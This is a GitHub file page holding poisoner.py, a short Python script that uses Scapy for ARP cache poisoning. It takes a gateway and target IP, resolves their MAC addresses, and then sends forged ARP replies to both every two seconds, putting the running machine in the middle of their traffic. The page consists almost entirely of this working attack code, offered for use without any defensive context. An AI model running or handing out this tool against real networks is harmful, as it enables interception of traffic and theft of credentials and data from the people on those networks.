-
Notifications
You must be signed in to change notification settings - Fork 0
/
poisoner.py
44 lines (33 loc) · 1.19 KB
/
poisoner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import argparse
import socket
import time
from scapy.layers.l2 import ARP
from scapy.sendrecv import send, sr1
parser = argparse.ArgumentParser(description="ARP Cache Poisoning using Scapy.")
parser.add_argument("--gateway", "-g", help="Gateway IP", required=True)
parser.add_argument("--target", "-t", help="Target IP", required=True)
args = parser.parse_args()
hostname = socket.gethostname()
host_ip = socket.gethostbyname(hostname)
def getMAC(ip):
arp_packet = ARP(hwdst="ff:ff:ff:ff:ff:ff", psrc=host_ip, pdst=ip)
arp_response = sr1(arp_packet)
return arp_response.hwsrc
def poison(gwIP, gwMAC, tgIP, tgMAC):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gwIP
poison_target.pdst = tgIP
poison_target.hwdst = tgMAC
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = tgIP
poison_gateway.pdst = gwIP
poison_gateway.hwdst = gwMAC
print("[*] Beginning ARP poisoning... [CTRL-C to stop]")
while True:
send(poison_target, verbose=False)
send(poison_gateway, verbose=False)
time.sleep(2)
if __name__ == "__main__":
poison(args.gateway, getMAC(args.gateway), args.target, getMAC(args.target))